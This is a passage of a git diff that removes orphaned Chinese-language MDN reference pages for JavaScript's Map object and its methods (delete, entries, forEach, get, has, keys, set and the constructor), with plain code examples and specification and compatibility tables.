id="使用_delete_方法">使用 <code>delete</code> 方法</h3> - -<pre class="brush: js">var myMap = new Map(); -myMap.set("bar", "foo"); - -myMap.delete("bar"); // 返回 true。成功地移除元素 -myMap.has("bar"); // 返回 false。"bar" 元素将不再存在于 Map 实例中 -</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-map.prototype.delete', 'Map.prototype.delete')}}</td> - <td>{{Spec2('ES6')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-map.prototype.delete', 'Map.prototype.delete')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{Compat("javascript.builtins.Map.delete")}}</p> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li>{{jsxref("Map")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/entries/index.html b/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/entries/index.html deleted file mode 100644 index 578ddb51ee..0000000000 --- a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/entries/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Map.prototype.entries() -slug: orphaned/Web/JavaScript/Reference/Global_Objects/Map/entries -tags: - - Map -translation_of: Web/JavaScript/Reference/Global_Objects/Map/entries -original_slug: Web/JavaScript/Reference/Global_Objects/Map/entries ---- -<div>{{JSRef}}</div> - -<p><code><strong>entries()</strong></code> 方法返回一个新的包含 <code>[key, value]</code> 对的 <code><strong>Iterator</strong></code> 对象,返回的迭代器的迭代顺序与 <code>Map</code> 对象的插入顺序相同。</p> - -<p>{{EmbedInteractiveExample("pages/js/map-prototype-entries.html")}}</p> - -<h2 id="语法">语法</h2> - -<pre><code><var>myMap</var>.entries()</code> -</pre> - -<h3 id="返回值">返回值</h3> - -<p>一个新的 {{jsxref("Map")}} 迭代器对象.</p> - -<h2 id="示例">示例</h2> - -<h3 id="entries()的使用"><code>entries()</code>的使用</h3> - -<pre class="brush:js">var myMap = new Map(); -myMap.set("0", "foo"); -myMap.set(1, "bar"); -myMap.set({}, "baz"); - -var mapIter = myMap.entries(); - -console.log(mapIter.next().value); // ["0", "foo"] -console.log(mapIter.next().value); // [1, "bar"] -console.log(mapIter.next().value); // [Object, "baz"] -</pre> - -<h2 id="规范">规范</h2> - -<table> - <thead> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('ESDraft', '#sec-map.prototype.entries', 'Map.prototype.entries')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td></td> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-map.prototype.entries', 'Map.prototype.entries')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{Compat("javascript.builtins.Map.entries")}}</p> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li>{{jsxref("Map.prototype.keys()")}}</li> - <li>{{jsxref("Map.prototype.values()")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/foreach/index.html b/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/foreach/index.html deleted file mode 100644 index b15bd716d9..0000000000 --- a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/foreach/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Map.prototype.forEach() -slug: orphaned/Web/JavaScript/Reference/Global_Objects/Map/forEach -tags: - - ECMAScript 2015 - - JavaScript - - Map - - Method - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Map/forEach -original_slug: Web/JavaScript/Reference/Global_Objects/Map/forEach ---- -<div>{{JSRef}}</div> - -<p><span class="seoSummary"><code><strong>forEach()</strong></code> 方法按照插入顺序依次对 <code>Map</code> 中每个键/值对执行一次给定的函数</span></p> - -<div>{{EmbedInteractiveExample("pages/js/map-prototype-foreach.html")}}</div> - - - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox notranslate"><code><var>myMap</var>.forEach(<var>callback([<var>value</var>][,<var>key</var>][,<var>map</var>])[, <var>thisArg</var>])</var></code></pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt><code><var>callback</var></code></dt> - <dd> - <p><code><var>myMap</var></code> 中每个元素所要执行的函数。它具有如下的参数</p> - - <dl> - <dt><code><var>value</var></code> {{Optional_Inline}}</dt> - <dd>每个迭代的值。</dd> - <dt><code><var>key</var></code> {{Optional_Inline}}</dt> - <dd>每个迭代的键。</dd> - <dt><code><var>map</var></code> {{Optional_Inline}}</dt> - <dd>被迭代的map(上文语法框中的 <code><var>myMap</var></code>)。</dd> - </dl> - </dd> - <dt><code><var>thisArg</var></code> {{Optional_Inline}}</dt> - <dd>在 <code><var>callback</var></code> 执行中使用的 <code>this</code> 的值。</dd> -</dl> - -<h3 id="返回值">返回值</h3> - -<p>{{jsxref("undefined")}}.</p> - -<h2 id="描述">描述</h2> - -<p><code>forEach</code> 方法会对map中每个真实存在的键执行一次给定的 <code><var>callback</var></code> 函数。它不会对被删除的键执行函数。然而,它会对每个值为 <code>undefined</code> 的键执行函数。</p> - -<p><code><var>callback</var></code> 接收<strong>三个参数</strong>:</p> - -<ul> - <li>当前的 <code><var>value</var></code></li> - <li>当前的 <code><var>key</var></code></li> - <li>正在被遍历的 <strong><code>Map</code> 对象</strong></li> -</ul> - -<p>如果 <code>forEach</code> 中含有 <code><var>thisArg</var></code> 参数,那么每次 <code><var>callback</var></code> 被调用时,都会被用作 <code>this</code> 的值。否则,<code>undefined</code> 将会被用作 <code>this</code> 的值。按照<a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">函数观察到 <code>this</code> 的常用规则</a>,<code><var>callback</var></code> 函数最终可观察到 <code>this</code> 值。</p> - -<p>每个值只被访问一次,除非它被删除了或者在 <code>forEach</code> 结束前被改变了。<code><var>callback</var></code> 不会对在被访问前就删除的元素执行。在 <code>forEach</code> 结束前被添加的元素将会被访问。</p> - -<p><code>forEach</code> 会对 <code>Map</code> 对象中的每个元素执行一次 <code><var>callback</var></code>。它不会返回值。</p> - -<h2 id="示例">示例</h2> - -<h3 id="输出一个_Map_对象中的内容">输出一个 <code>Map</code> 对象中的内容</h3> - -<p>以下的代码在每行中打印一个 <code>Map</code> 对象中的元素</p> - -<pre class="brush:js notranslate">function logMapElements(value, key, map) { - console.log(`map.get('${key}') = ${value}`) -} -new Map([['foo', 3], ['bar', {}], ['baz', undefined]]).forEach(logMapElements) -// logs: -// "map.get('foo') = 3" -// "map.get('bar') = [object Object]" -// "map.get('baz') = undefined" -</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">规范</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('ESDraft', '#sec-map.prototype.foreach', 'Map.prototype.forEach')}}</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容">浏览器兼容</h2> - - - -<p>{{Compat("javascript.builtins.Map.forEach")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>{{jsxref("Array.prototype.forEach()")}}</li> - <li>{{jsxref("Set.prototype.forEach()")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/get/index.html b/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/get/index.html deleted file mode 100644 index e9f46c82c5..0000000000 --- a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/get/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: Map.prototype.get() -slug: orphaned/Web/JavaScript/Reference/Global_Objects/Map/get -tags: - - ECMAScript 2015 - - JavaScript - - Map - - Method - - Prototype - - 方法 -translation_of: Web/JavaScript/Reference/Global_Objects/Map/get -original_slug: Web/JavaScript/Reference/Global_Objects/Map/get ---- -<div>{{JSRef}}</div> - -<p><code><strong>get()</strong></code> 方法返回某个 <code>Map</code> 对象中的一个指定元素。</p> - -<div>{{EmbedInteractiveExample("pages/js/map-prototype-get.html")}}</div> - - - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox"><code><em>myMap</em>.get(key);</code></pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt>key</dt> - <dd>必须参数,也是它唯一的参数,要从目标 <code>Map</code> 对象中获取的元素的键。</dd> -</dl> - -<h3 id="返回值">返回值</h3> - -<p>返回一个 <code>Map</code> 对象中与指定键相关联的值,如果找不到这个键则返回 <code>undefined</code>。</p> - -<h2 id="示例">示例</h2> - -<h3 id="使用_get_方法">使用 <code>get</code> 方法</h3> - -<pre class="brush: js">var myMap = new Map(); -myMap.set("bar", "foo"); - -myMap.get("bar"); // 返回 "foo" -myMap.get("baz"); // 返回 undefined -</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-map.prototype.get', 'Map.prototype.get')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-map.prototype.get', 'Map.prototype.get')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("javascript.builtins.Map.get")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>{{jsxref("Map")}}</li> - <li>{{jsxref("Map.prototype.set()")}}</li> - <li>{{jsxref("Map.prototype.has()")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/has/index.html b/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/has/index.html deleted file mode 100644 index b71c051a98..0000000000 --- a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/has/index.html +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: Map.prototype.has() -slug: orphaned/Web/JavaScript/Reference/Global_Objects/Map/has -tags: - - ECMAScript 2015 - - JavaScript - - Map - - Method - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Map/has -original_slug: Web/JavaScript/Reference/Global_Objects/Map/has ---- -<div>{{JSRef}}</div> - -<p>方法<code><strong>has()</strong></code> 返回一个bool值,用来表明map 中是否存在指定元素.</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox"><code><em>myMap</em>.has(key);</code></pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt>key</dt> - <dd>必填. 用来检测是否存在指定元素的键值.</dd> -</dl> - -<h3 id="返回值">返回值</h3> - -<dl> - <dt>Boolean</dt> - <dd>如果指定元素存在于Map中,则返回true。其他情况返回false</dd> -</dl> - -<h2 id="案例">案例</h2> - -<h3 id="使用has方法">使用has方法</h3> - -<pre class="brush: js">var myMap = new Map(); -myMap.set("bar", "foo"); - -myMap.has("bar"); // returns true -myMap.has("baz"); // returns false -</pre> - -<h2 id="规范列表">规范列表</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范名称</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-map.prototype.has', 'Map.prototype.has')}}</td> - <td>{{Spec2('ES6')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>浏览器</th> - <th>Chrome谷歌</th> - <th>Firefox (Gecko)火狐</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>兼容版本</td> - <td>38</td> - <td>{{CompatGeckoDesktop("13.0")}}</td> - <td>11</td> - <td>25</td> - <td>7.1</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>浏览器</th> - <th>Android</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>兼容版本</td> - <td>{{CompatNo}}</td> - <td>38</td> - <td>{{CompatGeckoMobile("13.0")}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>8</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li>{{jsxref("Map")}}</li> - <li>{{jsxref("Map.prototype.set()")}}</li> - <li>{{jsxref("Map.prototype.get()")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/index.html b/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/index.html deleted file mode 100644 index d9b95fd745..0000000000 --- a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/index.html +++ /dev/null @@ -1,337 +0,0 @@ ---- -title: Map -slug: orphaned/Web/JavaScript/Reference/Global_Objects/Map -tags: - - ECMAScript6 - - JavaScript - - Map -translation_of: Web/JavaScript/Reference/Global_Objects/Map -original_slug: Web/JavaScript/Reference/Global_Objects/Map ---- -<div> -<div>{{JSRef}}</div> -</div> - -<p><strong><code>Map</code></strong> 对象保存键值对,并且能够记住键的原始插入顺序。任何值(对象或者{{Glossary("Primitive", "原始值")}}) 都可以作为一个键或一个值。</p> - -<dl> -</dl> - -<h2 id="描述">描述</h2> - -<p>一个Map对象在迭代时会根据对象中元素的插入顺序来进行 — 一个 {{jsxref("Statements/for...of", "for...of")}} 循环在每次迭代后会返回一个形式为[key,value]的数组。</p> - -<h3 id="键的相等Key_equality">键的相等(Key equality)</h3> - -<ul> - <li>键的比较是基于 <code><a href="/zh-CN/docs/Web/JavaScript/Equality_comparisons_and_sameness#零值相等">sameValueZero</a></code> 算法:</li> - <li>{{jsxref("NaN")}} 是与 <code>NaN</code> 相等的(虽然 <code>NaN !== NaN</code>),剩下所有其它的值是根据 <code>===</code> 运算符的结果判断是否相等。</li> - <li>在目前的ECMAScript规范中,<code>-0</code>和<code>+0</code>被认为是相等的,尽管这在早期的草案中并不是这样。有关详细信息,请参阅<a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Map#浏览器兼容性">浏览器兼容性</a> 表中的“Value equality for -0 and 0”。</li> -</ul> - -<h3 id="Objects_和_maps_的比较">Objects 和 maps 的比较</h3> - -<p>{{jsxref("Object", "Objects")}} 和 <code>Maps</code> 类似的是,它们都允许你按键存取一个值、删除键、检测一个键是否绑定了值。因此(并且也没有其他内建的替代方式了)过去我们一直都把对象当成 <code>Maps</code> 使用。不过 <code>Maps</code> 和 <code>Objects</code> 有一些重要的区别,在下列情况里使用 <code>Map</code> 会是更好的选择:</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="row"></th> - <th scope="col">Map</th> - <th scope="col">Object</th> - </tr> - </thead> - <tbody> - <tr> - <th scope="row">意外的键</th> - <td><code>Map</code> 默认情况不包含任何键。只包含显式插入的键。</td> - <td> - <p>一个 <code>Object</code> 有一个原型, 原型链上的键名有可能和你自己在对象上的设置的键名产生冲突。</p> - - <div class="blockIndicator note"> - <p><strong>注意:</strong> 虽然 ES5 开始可以用 <code>Object.create(null)</code> 来创建一个没有原型的对象,但是这种用法不太常见。</p> - </div> - </td> - </tr> - <tr> - <th scope="row">键的类型</th> - <td>一个 <code>Map</code>的键可以是<strong>任意值</strong>,包括函数、对象或任意基本类型。</td> - <td>一个<code>Object</code> 的键必须是一个 {{jsxref("String")}} 或是{{jsxref("Symbol")}}。</td> - </tr> - <tr> - <th scope="row">键的顺序</th> - <td> - <p><code>Map</code> 中的 key 是有序的。因此,当迭代的时候,一个 <code>Map</code> 对象以插入的顺序返回键值。</p> - </td> - <td> - <p>一个 <code>Object</code> 的键是无序的</p> - - <div class="blockIndicator note"> - <p>注意:自ECMAScript 2015规范以来,对象<em>确实</em>保留了字符串和Symbol键的创建顺序; 因此,在只有字符串键的对象上进行迭代将按插入顺序产生键。</p> - </div> - </td> - </tr> - <tr> - <th scope="row">Size</th> - <td> <code>Map</code> 的键值对个数可以轻易地通过{{jsxref("Map.prototype.size", "size")}} 属性获取</td> - <td><code>Object</code> 的键值对个数只能手动计算</td> - </tr> - <tr> - <th scope="row">迭代</th> - <td><code>Map</code> 是 <a href="/en-US/docs/Web/JavaScript/Guide/iterable">iterable</a> 的,所以可以直接被迭代。</td> - <td>迭代一个<code>Object</code>需要以某种方式获取它的键然后才能迭代。</td> - </tr> - <tr> - <th scope="row">性能</th> - <td> - <p>在频繁增删键值对的场景下表现更好。</p> - </td> - <td> - <p>在频繁添加和删除键值对的场景下未作出优化。</p> - </td> - </tr> - </tbody> -</table> - -<h2 id="构造函数">构造函数</h2> - -<dl> - <dt>{{jsxref("Global_Objects/Map/Map", "Map()")}}</dt> - <dd>创建 <code>Map</code> 对象</dd> -</dl> - -<h2 id="属性">属性</h2> - -<dl> - <dt><code>Map.length</code></dt> - <dd>属性 length 的值为 0 。<br> - 想要计算一个<code>Map</code> 中的条目数量, 使用 {{jsxref("Map.prototype.size")}}.</dd> - <dt>{{jsxref("Map.@@species", "get Map[@@species]")}}</dt> - <dd>本构造函数用于创建派生对象。</dd> - <dt>{{jsxref("Map.prototype")}}</dt> - <dd>表示 <code>Map</code> 构造器的原型。 允许添加属性从而应用于所有的 <code>Map</code> 对象。</dd> -</dl> - -<h2 id="Map_实例"><code>Map</code> 实例</h2> - -<p><font face="Open Sans, Arial, sans-serif">所有的 </font><code>Map</code> 对象实例都会继承 {{jsxref("Map.prototype")}}。</p> - -<h3 id="属性_2">属性</h3> - -<p>{{page('zh-CN/Web/JavaScript/Reference/Global_Objects/Map/prototype','属性')}}</p> - -<h3 id="方法">方法</h3> - -<p>{{page('zh-CN/Web/JavaScript/Reference/Global_Objects/Map/prototype','方法')}}</p> - -<h2 id="示例">示例</h2> - -<h3 id="使用_Map_对象">使用 <code>Map</code> 对象</h3> - -<pre class="brush: js">let myMap = new Map(); - -let keyObj = {}; -let keyFunc = function() {}; -let keyString = 'a string'; - -// 添加键 -myMap.set(keyString, "和键'a string'关联的值"); -myMap.set(keyObj, "和键keyObj关联的值"); -myMap.set(keyFunc, "和键keyFunc关联的值"); - -myMap.size; // 3 - -// 读取值 -myMap.get(keyString); // "和键'a string'关联的值" -myMap.get(keyObj); // "和键keyObj关联的值" -myMap.get(keyFunc); // "和键keyFunc关联的值" - -myMap.get('a string'); // "和键'a string'关联的值" - // 因为keyString === 'a string' -myMap.get({}); // undefined, 因为keyObj !== {} -myMap.get(function() {}); // undefined, 因为keyFunc !== function () {}</pre> - -<h3 id="将_NaN_作为_Map_的键">将 <code>NaN</code> 作为 <code>Map</code> 的键</h3> - -<p><code>NaN</code> 也可以作为<code>Map</code>对象的键。虽然 <code>NaN</code> 和任何值甚至和自己都不相等(<code>NaN !== NaN</code> 返回true),但下面的例子表明,<code>NaN</code>作为Map的键来说是没有<span><span>区别的</span></span>:</p> - -<pre class="brush: js">let myMap = new Map(); -myMap.set(NaN, "not a number"); - -myMap.get(NaN); // "not a number" - -let otherNaN = Number("foo"); -myMap.get(otherNaN); // "not a number" -</pre> - -<h3 id="使用_for..of_方法迭代_Map">使用 <code>for..of</code> 方法迭代 <code>Map</code></h3> - -<p><code>Map</code>可以使用<code>for..of</code>循环来实现迭代:</p> - -<pre class="brush: js">let myMap = new Map(); -myMap.set(0, "zero"); -myMap.set(1, "one"); -for (let [key, value] of myMap) { - console.log(key + " = " + value); -} -// 将会显示两个log。一个是"0 = zero"另一个是"1 = one" - -for (let key of myMap.keys()) { - console.log(key); -} -// 将会显示两个log。 一个是 "0" 另一个是 "1" - -for (let value of myMap.values()) { - console.log(value); -} -// 将会显示两个log。 一个是 "zero" 另一个是 "one" - -for (let [key, value] of myMap.entries()) { - console.log(key + " = " + value); -} -// 将会显示两个log。 一个是 "0 = zero" 另一个是 "1 = one"</pre> - -<h3 id="使用_forEach_方法迭代_Map">使用 <code>forEach()</code> 方法迭代 <code>Map</code></h3> - -<p><code>Map</code>也可以通过<code>forEach()</code>方法迭代:</p> - -<pre class="brush: js">myMap.forEach(function(value, key) { - console.log(key + " = " + value); -}) -// 将会显示两个logs。 一个是 "0 = zero" 另一个是 "1 = one" -</pre> - -<h3 id="Map_与数组的关系"><code>Map</code> 与数组的关系</h3> - -<pre class="brush: js">let kvArray = [["key1", "value1"], ["key2", "value2"]]; - -// 使用常规的Map构造函数可以将一个二维键值对数组转换成一个Map对象 -let myMap = new Map(kvArray); - -myMap.get("key1"); // 返回值为 "value1" - -// 使用Array.from函数可以将一个Map对象转换成一个二维键值对数组 -console.log(Array.from(myMap)); // 输出和kvArray相同的数组 - -// 更简洁的方法来做如上同样的事情,使用展开运算符 -console.log([...myMap]); - -// 或者在键或者值的迭代器上使用Array.from,进而得到只含有键或者值的数组 -console.log(Array.from(myMap.keys())); // 输出 ["key1", "key2"] -</pre> - -<h3 id="复制或合并_Maps">复制或合并 <code>Maps</code></h3> - -<p>Map 能像数组一样被复制:</p> - -<pre class="brush: js">let original = new Map([ - [1, 'one'] -]); - -let clone = new Map(original); - -console.log(clone.get(1)); // one -console.log(original === clone); // false. 浅比较 不为同一个对象的引用 -</pre> - -<div class="blockIndicator note"> -<p>重要:请记住,<em>数据本身</em>未被克隆。</p> -</div> - -<p>Map对象间可以进行合并,但是会保持键的唯一性。</p> - -<pre class="brush: js">let first = new Map([ - [1, 'one'], - [2, 'two'], - [3, 'three'], -]); - -let second = new Map([ - [1, 'uno'], - [2, 'dos'] -]); - -// 合并两个Map对象时,如果有重复的键值,则后面的会覆盖前面的。 -// 展开运算符本质上是将Map对象转换成数组。 -let merged = new Map([...first, ...second]); - -console.log(merged.get(1)); // uno -console.log(merged.get(2)); // dos -console.log(merged.get(3)); // three</pre> - -<p>Map对象也能与数组合并:</p> - -<pre class="brush: js">let first = new Map([ - [1, 'one'], - [2, 'two'], - [3, 'three'], -]); - -let second = new Map([ - [1, 'uno'], - [2, 'dos'] -]); - -// Map对象同数组进行合并时,如果有重复的键值,则后面的会覆盖前面的。 -let merged = new Map([...first, ...second, [1, 'eins']]); - -console.log(merged.get(1)); // eins -console.log(merged.get(2)); // dos -console.log(merged.get(3)); // three</pre> - -<h2 id="使用说明">使用说明</h2> - -<p>请注意!为Map设置对象属性也是可以的,但是可能引起大量的混乱。</p> - -<p>所以,你还是<em>可以这样做.</em>..</p> - -<pre class="syntaxbox example-bad brush js">let wrongMap = new Map() -wrongMap['bla'] = 'blaa' -wrongMap['bla2'] = 'blaaa2' - -console.log(wrongMap) // Map { bla: 'blaa', bla2: 'blaaa2' } -</pre> - -<p>...但是,这样做的话,它的行为会不符合预期:</p> - -<pre class="syntaxbox example-bad brush js">wrongMap.has('bla') // false -wrongMap.delete('bla') // false -console.log(wrongMap) // Map { bla: 'blaa', bla2: 'blaaa2' }</pre> - -<p>无论如何,和正确用法比较起来,几乎没有什么不同: </p> - -<pre class="syntaxbox brush js example-good">let myMap = new Map() -myMap.set('bla','blaa') -myMap.set('bla2','blaa2') -console.log(myMap) // Map { 'bla' => 'blaa', 'bla2' => 'blaa2' } - -myMap.has('bla') // true -myMap.delete('bla') // true -console.log(myMap) // Map { 'bla2' => 'blaa2' }</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('ESDraft', '#sec-map-objects', 'Map')}}</td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - -<p>{{Compat("javascript.builtins.Map")}}</p> - -<h2 id="相关链接">相关链接</h2> - -<ul> - <li>{{jsxref("Set")}}</li> - <li>{{jsxref("WeakMap")}}</li> - <li>{{jsxref("WeakSet")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/keys/index.html b/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/keys/index.html deleted file mode 100644 index 057d5ee897..0000000000 --- a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/keys/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: Map.prototype.keys() -slug: orphaned/Web/JavaScript/Reference/Global_Objects/Map/keys -tags: - - ECMAScript6 - - Iterator - - JavaScript - - Map - - Method - - Prototype - - 方法 -translation_of: Web/JavaScript/Reference/Global_Objects/Map/keys -original_slug: Web/JavaScript/Reference/Global_Objects/Map/keys ---- -<div>{{JSRef}}</div> - -<p><code><strong>keys()</strong></code> 返回一个引用的 <code><strong>Iterator</strong></code> 对象。它包含按照顺序插入 <code>Map</code> 对象中每个元素的key值。</p> - -<div>{{EmbedInteractiveExample("pages/js/map-prototype-keys.html")}}</div> - - - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox notranslate"><code><em>myMap</em>.keys()</code></pre> - -<h3 id="返回值">返回值</h3> - -<p>一个存在引用关系的 {{jsxref("Map")}} iterator 对象.</p> - -<h2 id="例子">例子</h2> - -<h3 id="使用_keys">使用 <code>keys()</code></h3> - -<pre class="brush:js notranslate">var myMap = new Map(); -myMap.set("0", "foo"); -myMap.set(1, "bar"); -myMap.set({}, "baz"); - -var mapIter = myMap.keys(); - -console.log(mapIter.next().value); // "0" -console.log(mapIter.next().value); // 1 -console.log(mapIter.next().value); // Object -</pre> - -<h2 id="规范">规范</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">规范</th> - <th scope="col">状态</th> - <th scope="col">备注</th> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-map.prototype.keys', 'Map.prototype.keys')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-map.prototype.keys', 'Map.prototype.keys')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="浏览器兼容性">浏览器兼容性</h2> - - - -<p>{{Compat("javascript.builtins.Map.keys")}}</p> - -<h2 id="参见">参见</h2> - -<ul> - <li>{{jsxref("Map.prototype.entries()")}}</li> - <li>{{jsxref("Map.prototype.values()")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/map/index.html b/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/map/index.html deleted file mode 100644 index 974e3a73b0..0000000000 --- a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/map/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Map() 构造函数 -slug: orphaned/Web/JavaScript/Reference/Global_Objects/Map/Map -translation_of: Web/JavaScript/Reference/Global_Objects/Map/Map -original_slug: Web/JavaScript/Reference/Global_Objects/Map/Map ---- -<div>{{JSRef}}</div> - -<p><strong><code>Map()</code> 构造函数</strong> 创建 {{jsxref("Map")}} 对象.</p> - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox">new Map([<var>iterable</var>])</pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt><code><var>iterable</var></code></dt> - <dd>Iterable 可以是一个{{jsxref("Array", "数组")}}或者其他 <a href="/zh-CN/docs/Web/JavaScript/Guide/iterable">iterable</a> 对象,其元素为键值对(两个元素的数组,例如: [[ 1, 'one' ],[ 2, 'two' ]])。 每个键值对都会添加到新的 Map。<code>null</code> 会被当做 <code>undefined。</code></dd> -</dl> - -<h2 id="示例">示例</h2> - -<pre class="brush: js">let myMap = new Map([ - [1, 'one'], - [2, 'two'], - [3, 'three'], -]) -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('ESDraft', '#sec-map-constructor', 'Map constructor')}}</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("javascript.builtins.Map.Map")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Set")}}</li> - <li>{{jsxref("WeakMap")}}</li> - <li>{{jsxref("WeakSet")}}</li> -</ul> diff --git a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/set/index.html b/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/set/index.html deleted file mode 100644 index 9e7ad91ba5..0000000000 --- a/files/zh-cn/orphaned/web/javascript/reference/global_objects/map/set/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Map.prototype.set() -slug: orphaned/Web/JavaScript/Reference/Global_Objects/Map/set -tags: - - ECMAScript6 - - JavaScript - - Map - - Method - - Prototype - - 方法 -translation_of: Web/JavaScript/Reference/Global_Objects/Map/set -original_slug: Web/JavaScript/Reference/Global_Objects/Map/set ---- -<p id="sect1">{{JSRef}}</p> - -<p><code><strong>set()</strong></code> 方法为 <code>Map</code> 对象添加或更新一个指定了键(<code>key</code>)和值(<code>value</code>)的(新)键值对。</p> - -<div>{{EmbedInteractiveExample("pages/js/map-prototype-set.html")}}</div> - - - -<h2 id="语法">语法</h2> - -<pre class="syntaxbox"><code><em>myMap</em>.set(key, value);</code></pre> - -<h3 id="参数">参数</h3> - -<dl> - <dt>key</dt> - <dd>要添加至相应 <code>Map</code> 对象的元素的键。</dd> - <dt>value</dt> - <dd>要添加至相应 <code>Map</code> 对象的元素的值。</dd> -</dl> - -<h3 id="返回值">返回值</h3> - -<p><code>Map</code> 对象</p> - -<h2 id="示例">示例</h2> - -<h3 id="使用_set_方法">使用 <code>set</code> 